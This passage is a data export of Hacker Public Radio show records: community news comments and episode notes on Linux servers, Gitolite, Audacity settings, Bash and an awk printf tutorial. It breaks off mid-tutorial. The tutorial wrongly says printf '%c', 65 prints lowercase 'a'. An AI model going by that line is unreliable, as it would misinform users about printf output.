                                                              \n
                                                            \n

                                                            There are 28 comments on 13 of this month's shows:

                                                            \n
                                                            • hpr2435\n(2017-12-01) \"Server Basics 102\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\n0xf10e on 2017-12-05:\n\"yum whatprovides?\"

                                                              \n
                                                            • hpr2437\n(2017-12-05) \"Interface Zero Play-through Part 3\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-12-05:\n\"Noooooooo\"
                                                              • Comment 2:\nKen Fallon on 2017-12-05:\n\"Ignore him\"
                                                              • Comment 3:\njrullo on 2017-12-05:\n\"Is there a link for the free guide you mentioned.\"
                                                              • Comment 4:\nKlaatu on 2017-12-08:\n\"Free guide\"

                                                              \n
                                                            • hpr2438\n(2017-12-06) \"Gnu Awk - Part 8\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRon Strelecki on 2017-12-22:\n\"AWK part 8\"
                                                              • Comment 2:\nDave Morriss on 2017-12-24:\n\"Thanks Ron\"

                                                              \n
                                                            • hpr2440\n(2017-12-08) \"How to save bad beans or the French press\"\nby cobra2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-12-10:\n\"coffee\"
                                                              • Comment 2:\ncobra2 on 2017-12-11:\n\"coffee\"

                                                              \n
                                                            • hpr2441\n(2017-12-11) \"Server Basics 103\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nx1101 on 2017-12-11:\n\"Moving follow up to comments\"

                                                              \n
                                                            • hpr2442\n(2017-12-12) \" The sound of Woodbrook Quaker Study centre in the Spring\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSTLShawn on 2017-12-20:\n\"Peaceful\"
                                                              • Comment 2:\nTony Hughes on 2017-12-21:\n\"Reply to Shawn\"

                                                              \n
                                                            • hpr2443\n(2017-12-13) \"pdmenu\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-12-13:\n\"Need to give this a try\"

                                                              \n
                                                            • hpr2445\n(2017-12-15) \"Information Underground: Backwards Capitalism\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFrank on 2017-12-15:\n\"Well Done\"

                                                              \n
                                                            • hpr2447\n(2017-12-19) \"Server Basics 104 OpenVPN Server\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-12-21:\n\"Details\"
                                                              • Comment 2:\nKlaatu on 2017-12-27:\n\"shownotes\"

                                                              \n
                                                            • hpr2448\n(2017-12-20) \"Useful Bash functions - part 3\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSTLShawn on 2017-12-20:\n\"Fascinating\"
                                                              • Comment 2:\nDave Morriss on 2017-12-20:\n\"Thanks Shawn\"
                                                              • Comment 3:\nMike Ray on 2017-12-21:\n\"Bash shows\"
                                                              • Comment 4:\nDave Morriss on 2017-12-21:\n\"Thanks Mike\"
                                                              • Comment 5:\nMike Ray on 2017-12-29:\n\"BASH_REMATCH\"
                                                              • Comment 6:\nDave Morriss on 2017-12-29:\n\"Re: BASH_REMATCH\"

                                                              \n
                                                            • hpr2452\n(2017-12-26) \"Hydraulic Heavy Scale Project\"\nby David Whitman.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-12-19:\n\"retriever dog training\"
                                                              • Comment 2:\nSTLShawn on 2017-12-20:\n\"Would love dog training\"

                                                              \n
                                                            • hpr2454\n(2017-12-28) \"The Alien Brothers Podcast - S01E02 - Strictly Hacking\"\nby The Alien Brothers Podcast (ABP).
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrucker Rich on 2017-12-28:\n\"Delivery and Content\"

                                                              \n
                                                            • hpr2455\n(2017-12-29) \"Interface Zero RPG Part 5\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-12-20:\n\"Wasting shows\"
                                                              • Comment 2:\nKlaatu on 2017-12-28:\n\"Forgot a link\"
                                                              • Comment 3:\nDave Morriss on 2017-12-30:\n\"Added forgotten link\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-December/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Issue Tracker

                                                            \n

                                                            Josh of AnHonestHost.com has provided HPR with a GitLab repository we use for storing website code and scripts. It includes an issue tracker which we have been using to track some of the recent issues we have been experiencing. We plan to use this more in the future.

                                                            \n

                                                            See https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/issues.

                                                            \n

                                                            Hosting for HPR

                                                            \n

                                                            HPR is hosted by Josh of AnHonestHost.com. We would appreciate it if you could donate to help reduce his costs in funding the hosting.

                                                            \n

                                                            HPR's shows and audio are also hosted by the Internet Archive (archive.org). They are currently running a funding drive where a generous supporter will match donations 3-to-1. As they say: "Your $5 becomes $20!"

                                                            \n

                                                            Donations to the Internet Archive would also be appreciated.

                                                            \n

                                                            HPR shows on the Internet Archive

                                                            \n

                                                            HPR shows from number 871 up to 2455 are currently available on the Internet Archive as individual "identifiers" in the Archive terminology.

                                                            \n

                                                            Gradually, earlier shows are being added and the shows for the coming week are added each weekend. The podcast feeds have recently been redirected to download from the copies on archive.org.

                                                            \n

                                                            In recent months the upload process has been enhanced to make sure that a copy of the notes and all other components of each show (such as pictures, and downloadable files) are available on archive.org as well as on the HPR site. Earlier uploads where this was not the case will be updated in due course.

                                                            \n

                                                            Static web site

                                                            \n

                                                            Can anyone recommend static site tools?

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to Xoke for sending in updates in the past month.

                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2457,"date":"2018-01-02","title":"Getting ready for my new Macbook Pro","duration":1165,"summary":"Knightwise is about to order a new macbook pro and shares some tips and tricks","notes":"

                                                            I am about to buy a new macbook pro and talk about the things I do to install and protect it.

                                                            \n\n","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Macbook Pro, Homebrew, warranty, case, cables","version":0,"downloads":0,"valid":1}, {"id":2458,"date":"2018-01-03","title":"Chrome Plugins You Must Have","duration":643,"summary":"I go over my current list of Chrome plugins and how I secure my browser","notes":"

                                                            https://www.linkedin.com/pulse/block-more-ads-unlimited-cloud-storage-multi-threaded-robert-mccurdy

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Chrome extensions","version":0,"downloads":0,"valid":1}, {"id":2459,"date":"2018-01-04","title":"free software's long tail","duration":436,"summary":"Response to hpr2443 :: pdmenu by pdmenu's author","notes":"

                                                            Surprised to see in my podcast feed an episode about an insignificant program which I'd written two decades earlier, I thought I'd record a response with some thoughts on free software's long tail.

                                                            \n","hostid":360,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pdmenu,free software","version":0,"downloads":0,"valid":1}, {"id":2460,"date":"2018-01-05","title":"The Alien Brothers Podcast - S01E03 - Decline of American Empire","duration":6830,"summary":"The Alien Brothers penetrate the Van Allen belt to tap in, and transmit an intergalactic podcast","notes":"

                                                            Summary:

                                                            \n

                                                            \nCasper and Rutiger opt for a time of ease and relaxation by discussing happy light topics: the decline of American Empire and recent reversal of Net Neutrality protections [or the rollout of Net Neuterality -c] (December 2017).\n

                                                            \n

                                                            Links and Notes:

                                                            \n

                                                            \nRe: Empire - moral decline and massive wealth inequality, role in imperial decline [1] -r
                                                            \nRe: Empire - Noam Chomsky and Decline of American Empire [2] -r
                                                            \nRe: Empire - moral decline - death as sport (Onion spoof) [3] -r
                                                            \nRe: Net Neutrality - Rutiger apologies - to Casper, for completely derailing the conversation on Net Neutrality by believing that pay-for-bandwidth/capacity and limiting access to content are both legitimate elements of the Net Neutrality debate, but over-focusing on the infrastructure/de-emphasizing the content argument. See Prevent Over-Use of Bandwidth and Pricing Models vs. Data Discrimination [4] -r
                                                            \nRe: Empire - consumption of human suffering as entertainment - modern Roman colosseum [5] -r
                                                            \nRe: Empire - the thought leaders over at Reddit on elements of declining empire [6] -r
                                                            \nRe: Thoughts - Volume One Chapter Two of Diek Minusky’s The Nature of Systems will be coming with… episode 4! Sorry folks. Hold… hold! -r
                                                            \nRe: Getting Things Done - by David Allen [7]
                                                            \n

                                                            \n\n\n

                                                            Timeline / Additional Links:

                                                            \n

                                                            \n00:00:00 - 00:13:00 Settling in - Casper and Rutiger get acquainted after being off the air for a while. Skip this part if you don’t care about the characters Casper and Rutiger and their degeneration…
                                                            \nBegin Topic 1: Net Neuterality / Net Neutrality Rollback
                                                            \n00:14:00 - 00:30:00 The Deployment of Net Neuterality / Rollback of Net Neutrality - Casper attempts to boil this topic down nice and easy for Rutiger, yet Rutiger conflates this (see above), but that is OK as this is normal for pleebs. Members of HPR will understand.
                                                            \n00:30:00 - 00:36:00 Fox & Disney Merger - Coincidence or Conspiracy on timing w/ Net Neutrality rollback?
                                                            \n00:36:00 - 00:40:30 How Should HPR Community Respond or Mitigate This? Credit goes to Rob Placone and Jimmy Dore for mentioning Municipality developed internet
                                                            \nhttps://www.youtube.com/watch?v=mvJ93kjSXiQ
                                                            \n00:40:30 - 00:48:00 Discussion on Availability of Access
                                                            \n00:48:00 - 00:52:00 Casper takes a sharp pivot off track - A satellite is mentioned and Casper brings up DMB unfortunately for the listener
                                                            \n00:52:00 - 00:56:00 FREESTYLE JAM!@&#%^
                                                            \n00:58:00 - Ron Swanson has words for Ajit Pai
                                                            \n01:00:00 - Rutiger Does Not Speak in Tribe Called Quest Protocol call and response
                                                            \n01:05:00 - 01:20:00 Casper and Rutiger give their distinct definition of Empire and expand upon this
                                                            \n01:20:00 - 01:23:00 MUDs, OG Tech & Being Alone Together
                                                            \n01:23:00 - Casper mentions 150 people own EVERYTHING as mentioned here by Chamath Palihapitiya
                                                            \nhttps://www.youtube.com/watch?v=PMotykw0SIk
                                                            \n“During his View From The Top talk, Chamath Palihapitiya, founder and CEO of Social Capital, discussed how money is an instrument of change which should be used to make the world a better place”
                                                            \n01:27:00 - 01:30:00 - Being Alone Together
                                                            \n01:30:00 - 01:33:00 - Bullying and how Technology can Exponentiate this
                                                            \n01:33:00 - How to DEBUG… seriously https://conncounseling.weebly.com/stop--debug.html
                                                            \n01:39:00 - Consumerism and the Decline of Empire
                                                            \n01:40:00 - DW Documentaries Casper said he would find
                                                            \nGreed - https://www.dw.com/en/tv/greed/s-32898
                                                            \nThe Divide Part 1 - https://www.dw.com/en/the-divide-part-1/av-41378206
                                                            \nThe Divide Part 2 - https://www.dw.com/en/the-divide-2/av-41467377
                                                            \n01:42:00 - Immortality Through Consumerism?
                                                            \n01:43:00 - Where are we if Not Here?
                                                            \n01:45:00 - Self Destruction
                                                            \n01:46:00 - Celebrity Chefs and the Tie to the Roman Empire - Casper remembered post-cast that this was from The Four Horsemen Documentary as explained here:
                                                            \nhttps://barnabyisright.com/2013/03/30/why-celebrity-chefs-herald-the-end-of-empire/
                                                            \n01:47:00 - Casper (Mis)Quotes Frank Zappa - by saying “Politics is the entertainment branch of the Military Industrial Complex” https://www.reddit.com/r/Zappa/comments/2qxpnu/politics_is_the_entertainment_branch_of_industry/
                                                            \n01:48:00 - (S)Elections are becoming irrelevant
                                                            \n01:50:00 - Casper recommends International News Alternatives like BBC, RT, AlJazeera if you would like to know what is going on in the world
                                                            \nAddendum - Not mentioned in Podcast, but worth a link regarding the state of our MSM in reporting false information on Russia and WikiLeaks from Glenn Greenwald:
                                                            \nhttps://theintercept.com/2017/12/09/the-u-s-media-yesterday-suffered-its-most-humiliating-debacle-in-ages-now-refuses-all-transparency-over-what-happened/
                                                            \n01:51:00 - Wrapping Up The Show & ShoutOuts to Klaatu!
                                                            \n01:53:00 - Casper argues with Gerald to cut the recording\n

                                                            \n","hostid":359,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Net Neutrality","version":0,"downloads":0,"valid":1}, {"id":2461,"date":"2018-01-08","title":"Gitolite","duration":1839,"summary":"Using Gitolite to administer your Git server.","notes":"

                                                            Gitolite provides an admin a centralised interface, in the form of a configuration file, to make managing users, user permissions, repos, and user and repo groups easy. It abstracts Git users from UNIX users by defining a user by public keys, and manages permissions down to the branch-level. And better yet, it is itself managed over Git.\n

                                                            \n

                                                            \nProper documentation is available on Gitolite.com

                                                            ","hostid":78,"series":81,"explicit":0,"license":"CC-BY-SA","tags":"git,server,admin,dev","version":0,"downloads":0,"valid":1}, {"id":2462,"date":"2018-01-09","title":"AudioBookClub-14-Triplanetary-(First-in-the-Lensman-Series)","duration":7030,"summary":"The HPR_AudioBookClub discusses Triplanetary: First in the Lensman Series by E. E. \"Doc\" Smith","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub discusses Triplanetary: First in the Lensman Series by E. E. \"Doc\" Smith.\n
                                                            https://librivox.org/triplanetary-first-in-the-lensman-series-by-e-e-doc-smith/

                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                              \n
                                                            • Like the last AudioBook, we all felt that there were quite a few cliches in the story, however this book is probably the source of most of the cliches it uses.
                                                            • \n
                                                            • If you want to see what Lensmen doesn't look like watch this: https://www.youtube.com/watch?v=-td8Jp0hJVA
                                                            • \n
                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n\n

                                                            Other Things We Talked About

                                                            \n\n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            City Of Masks by Mike Reeves-McMillan\n
                                                            https://scribl.com/books/PC439/city-of-masks

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            The rest of the Lensman Series: https://en.wikipedia.org/wiki/Lensman_series

                                                            \n

                                                            What the new Star Wars movies should have been about: https://en.wikipedia.org/wiki/Thrawn_trilogy

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section.\n
                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,\n
                                                            The HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n
                                                            \n

                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net/. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It's been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                              \n
                                                            • Threshold: -30db
                                                            • \n
                                                            • Noise Floor: -50db
                                                            • \n
                                                            • Ratio: 3:1
                                                            • \n
                                                            • Attack Time: 0.2sec
                                                            • \n
                                                            • Decay Time: 1.0 sec
                                                            • \n
                                                            • \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.
                                                            • \n
                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR AudioBookClub, Triplanetary, E. E. \"Doc\" Smith","version":0,"downloads":0,"valid":1}, {"id":2463,"date":"2018-01-10","title":"Setting up a 32 Bit Ubuntu Server","duration":762,"summary":"Repurpose a 32 bit small form factor working station","notes":"

                                                            So what is the purpose - I had an old windows backup workstation at work that I did a lot backups with. It got to the point where it was just too slow and low spec to handle the windows 7 updates and with my company switching to the 365/sharepoint/one drive it was not needed anymore. So I wanted not to throw it away as I had sprung for 160GB hard drive a long time ago. “I know at work and purchasing a hard drive for work.” But it lasted more than 10 years doing my outlook backups and file shares.

                                                            \n

                                                            So my first problem was I was pretty sure I only had 32 bit.

                                                            \n

                                                            So no centos or suse in 32 bit. I could have went fedora but I wanted a really long time with support. So it came down to ubuntu 16.04, Debian or Net BSD with I386 repos I could use long term. I was more comfortable with Ubuntu and 16.04 has about 3 years support left on it.

                                                            \n

                                                            Its a small form factor computer so I carried it home for a few days. And got the ISO down loaded again no usb drive boot only DVD.

                                                            \n

                                                            So what is it. I did a uname -a and and looked at the proc cpu to see what the cpu was.
                                                            \nhttps://www.tecmint.com/find-out-linux-system-is-32-bit-or-64-bit/
                                                            \nhttps://www.computerhope.com/issues/ch001121.htm
                                                            \nThe second linked worked best.

                                                            \n

                                                            I had a lot of trouble with lamp and own/next cloud with both snaps and straight install. I broke the install several times. In the end I said what do really know how do well with it right now. So I installed Open SSH server, tightVNC, A really thin xfce 4, ffmpeg and youtube-dl and uget. So I will play with snaps only in the future and keep this basic config.

                                                            \n

                                                            https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-ubuntu-16-04

                                                            \n

                                                            Note I did not auto start VNC because I found in my creations of this server that it used too much RAM vs just starting it and killing it.

                                                            \n

                                                            It is the perfect video processing machine in the moment. If youtube-dl can’t get it I can use uget via vnc and that will then transcode if needed. Mostly for mp3.
                                                            \nhttps://rg3.github.io/youtube-dl/ youtube-dl is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on Mac OS X. It is released to the public domain, which means you can modify it, redistribute it or use it however you like.

                                                            \n

                                                            I will work on the nextcloud snap and other snaps as they are easy to install or remove without hurting the base system.

                                                            \n

                                                            Possible other projects - Owncloud or Storj
                                                            \nhttps://storj.io/share.html
                                                            \nOne you can make a little money with it :)

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"32-bit server, Ubuntu","version":0,"downloads":0,"valid":1}, {"id":2464,"date":"2018-01-11","title":"The Alien Brothers Podcast - S01E04 - Digital Instruments","duration":3906,"summary":"Casper and Rutiger Detail their Digital and Analog Sonic Setups in IOS and Android","notes":"

                                                            Casper and Rutiger are back with a very simple topic: Making music with various Digital Audio Workstations.

                                                            \n

                                                            Rutiger details his MacOS / iOS platform and the Apps he uses to create his noise:
                                                            \nhttps://soundcloud.com/fibrechannel

                                                            \n

                                                            Casper details his Windows setup with a relatively cheap DAW and various Analog and Digital transmissions he uses to create his noise:
                                                            \nhttps://soundcloud.com/user-393542827

                                                            \n

                                                            @alienbpc

                                                            \n","hostid":359,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"DAW, Sonic Voyages, iOS Music Apps, PreSonus Audiobox 22vsl, Logic Pro X, Studio One","version":0,"downloads":0,"valid":1}, {"id":2465,"date":"2018-01-12","title":"TronScript where have you been all my life!","duration":1669,"summary":"I take an initial look at TronScript and its features","notes":"","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"windows,scripting,batch files,antivirus,malware","version":0,"downloads":0,"valid":1}, {"id":2466,"date":"2018-01-15","title":"ShareX is awesome","duration":447,"summary":"ShareX, for all your screenshot needs and more","notes":"

                                                            Find it at https://getsharex.com/

                                                            ","hostid":79,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Windows, Screenshot, documentation","version":0,"downloads":0,"valid":1}, {"id":2467,"date":"2018-01-16","title":"I randomly talk about my laptops","duration":574,"summary":"Random talk about my laptops and the linux distros that are on them","notes":"

                                                            Just decided to start talking about my laptops after I installed Ubuntu Mate 16.04 to my x60.

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"laptop, linux, fun, computers","version":0,"downloads":0,"valid":1}, {"id":2468,"date":"2018-01-17","title":"THE WELL","duration":408,"summary":"I record a video with audio on my fathers well setup in the sticks","notes":"

                                                            I record a video with audio on my fathers well setup in the sticks

                                                            \n

                                                            https://rmccurdy.com/scripts/videos/rmccurdy_com/THE_WELL.mp4

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"well, pump, troubleshooting","version":0,"downloads":0,"valid":1}, {"id":2469,"date":"2018-01-18","title":"A flight itinerary in Bash","duration":1065,"summary":"Working out dates and times in a Bash script","notes":"

                                                            A flight itinerary in Bash

                                                            \n

                                                            My daughter flew out to New Zealand before Christmas 2017 to spend some time with her brother, who had been there with his girlfriend since November. I saw her flight itinerary from the airline, but had no idea of how the times related to time back home, so I wrote a little Bash script to calculate times in UTC (my local timezone).

                                                            \n

                                                            Both of my children have travelled a fair bit in the past few years. I like to keep track of where they are and how they are progressing through their journeys because otherwise I tend to worry. This one was a reasonably simple journey, two flights via Doha in Qatar, with not too long a wait between them. The overall journey was long of course.

                                                            \n

                                                            When my daughter flew out to Indonesia in 2015 (4 flights and a boat trip, over 38 hours travel time) I built a spreadsheet. Just whatever provides a good distraction!

                                                            \n

                                                            The rest of the notes, including details of the date command and the script I wrote can be found here.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • GNU documentation for date (You can also use man date or info date for the full details. I prefer the HTML version because I don't like the info tool very much).
                                                            • \n
                                                            • The GNU Bash Reference Manual
                                                            • \n
                                                            • Dann Wasko's "Linux in the Shell" episode hpr1182 :: LiTS 023: Date, which is full of useful information.
                                                            • \n
                                                            • Resources:\n
                                                                \n
                                                              • The script I wrote, called edi_akl (named to denote the starting and ending airports).
                                                              • \n
                                                            • \n
                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,date,ISO 8601,epoch","version":0,"downloads":0,"valid":1}, {"id":2470,"date":"2018-01-19","title":"Obamacare Update At The End Of 2017","duration":798,"summary":"Where is US Health Care policy as we head into 2018?","notes":"

                                                            In 2017 Obamacare was the subject of a great deal of political jockeying, and yet by the end of the year almost nothing changed. So what happened, and why?

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy, Insurance Marketplace, Obamacare","version":0,"downloads":0,"valid":1}, {"id":2471,"date":"2018-01-22","title":"Tea Time!","duration":379,"summary":"I go over where I am at with Tea","notes":"
                                                              \n
                                                            • Yerba Mate Pajarito Special Selection/ Seleccion Especial 1.1lb/500 Gr Pajarito
                                                            • \n
                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Tea, Yerba Mate Pajarito","version":0,"downloads":0,"valid":1}, {"id":2472,"date":"2018-01-23","title":"Forum Failure","duration":1000,"summary":"Lostnbronx talks about his recent experiment in running a forum.","notes":"

                                                            In 2017 I created a forum over at Proboards dedicated to my audio work and writing. It didn't attract a user base, and I deleted it when 2018 rolled around.

                                                            \n

                                                            These are just some thoughts about why I wanted it to begin with, and why I think it failed.

                                                            \n

                                                            I still believe Proboards is a good way to jump into forums and using forum software, and still recommend it for that reason:

                                                            \n

                                                            https://proboards.com/

                                                            \n

                                                            Here are some of my projects mentioned briefly in this episode:

                                                            \n\n","hostid":107,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"forum,lostnbronx,platform,community","version":0,"downloads":0,"valid":1}, {"id":2473,"date":"2018-01-24","title":"Frotz - A Portable Z-Machine Interpreter","duration":608,"summary":"How to use Frotz to play those old Infocom text adventure games from the 80s.","notes":"

                                                            Frotz is an interpreter for Infocom games (like Zork) and other Z-machine games. You can install it via your respective package manager or download the source code from the URLs below.

                                                            \n\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Frotz,Z-code,Z-machine,Interactive Fiction","version":0,"downloads":0,"valid":1}, {"id":2474,"date":"2018-01-25","title":"Open Source Gaming #3 The Atari Jaguar","duration":832,"summary":"Episode 3 is about the Atari Jaguar which has been open source since 1999","notes":"https://www.atariage.com/Jaguar/archives/HasbroRights.html\n\n
                                                            \nHasbro Releases Jaguar Publishing Rights\nFOR IMMEDIATE RELEASE:\nCONTACTS:\nDana Henry\nHasbro Interactive\n978-921-3759\ndhenry@hasbro.com\n\nBeverly, MA (May 14, 1999) - Leading entertainment software publisher, \nHasbro Interactive announced today it has released all rights that it \nmay have to the vintage Atari hardware platform, the Jaguar.\n\nHasbro Interactive acquired rights to many Atari properties, including \nthe legendary Centipede, Missile Command, and Pong games, in a March \n1998 acquisition from JTS Corporation.\n\nThis announcement will allow software developers to create and publish \nsoftware for the Jaguar system without having to obtain a licensing \nagreement with Hasbro Interactive for such platform development. \nHasbro Interactive cautioned, however, that the developers should not \nuse the Atari trademark or logo in connection with their games or \npresent the games as authorized or approved by Hasbro Interactive.\n\n\"Hasbro Interactive is strictly focused on developing and publishing \nentertainment software for the PC and the next generation game \nconsoles,\" said Richard Cleveland, Head of Marketing for Hasbro \nInteractive's Atari Business Unit. \"We realize there is a passionate \naudience of diehard Atari fans who want to keep the Jaguar system alive, \nand we don't want to prevent them from doing that. We will not interfere \nwith the efforts of software developers to create software for the \nJaguar system.\"\n\nHasbro Interactive, Inc. is a leading all-family interactive games \npublisher, formed in 1995 to bring to life on the computer the deep \nlibrary of toy and board games of parent company, Hasbro, Inc. (ASE:HAS). \nHasbro Interactive has expanded its charter to include original and \nlicensed games for the PC, the Playstation(R) and Nintendo(R) 64 game \nconsoles and for multi-player gaming over the internet. Headquartered \nin Beverly, Massachusetts, Hasbro Interactive has offices in the U.K., \nFrance, Germany, Japan and Canada. For more information, visit the \nHasbro Interactive Web site at https://www.hasbro-interactive.com.\n
                                                            ","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Atari Corporation, Atari Jaguar","version":0,"downloads":0,"valid":1}, {"id":2475,"date":"2018-01-26","title":"Information Underground -- Sex, Drugs, and Rock-n-Roll","duration":2601,"summary":"The IU guys examine the first Sexual Revolution in America, back during Prohibition.","notes":"

                                                            Deepgeek, Klaatu, and Lostnbronx look back at the flappers and speakeasies of the 1920's and 30's, and attempt to draw a line from the newly independent women of that era, up through the Playboy Bunnies of the 1950's, all the way to today.

                                                            \n

                                                            Are things better or worse? Is what we "know" about history really important? And do the Info-Underground boys have any clue what they're even talking about?

                                                            ","hostid":107,"series":99,"explicit":1,"license":"CC-0","tags":"sex,alcohol,women,prohibition,freedom,history,pornography,oppression,playboy,hugh hefner","version":0,"downloads":0,"valid":1}, {"id":2476,"date":"2018-01-29","title":"Gnu Awk - Part 9","duration":1956,"summary":"In part 9 of the series, we discuss the printf function","notes":"

                                                            Awk Series Part 9 - printf

                                                            \n

                                                            The printf function allows for greater control over the output, in comparison to print.

                                                            \n

                                                            To follow along, you can either use these show notes or refer to the gawk manual.

                                                            \n

                                                            There are 3 main areas to cover:

                                                            \n
                                                              \n
                                                            • Basic printf syntax
                                                            • \n
                                                            • Format Control letters
                                                            • \n
                                                            • Format modifiers
                                                            • \n
                                                            \n

                                                            Syntax

                                                            \n
                                                            printf format, item1, item2, …
                                                            \n

                                                            The big difference in the syntax of printf statements is the format argument. It allows you to use complex formatting and layouts for outputs. Unlike print, printf does not automatically start a new line after the function. This can be useful when you want to print all of the items in a column on a single line.

                                                            \n

                                                            For example, remember the example file, file1.csv:

                                                            \n
                                                            name,color,amount\napple,red,4\nbanana,yellow,6\nstrawberry,red,3\ngrape,purple,10\napple,green,8\nplum,purple,2\nkiwi,brown,4\npotato,brown,9\npineapple,yellow,5
                                                            \n

                                                            Look at the difference between the following outputs:

                                                            \n
                                                            awk -F, 'NR!=1{print "Color", $2, "has", $3}' file1.csv
                                                            \n

                                                            and

                                                            \n
                                                            awk -F, 'NR!=1{printf "Color %s has %s. ", $2, $3}' file1.csv
                                                            \n

                                                            Control Letters

                                                            \n

                                                            Control letters control or cast the output to specific types. Use it as a way to convert ints to floats, ints to chars, etc.

                                                            \n

                                                            %c = to char. printf "%c", 65 prints a
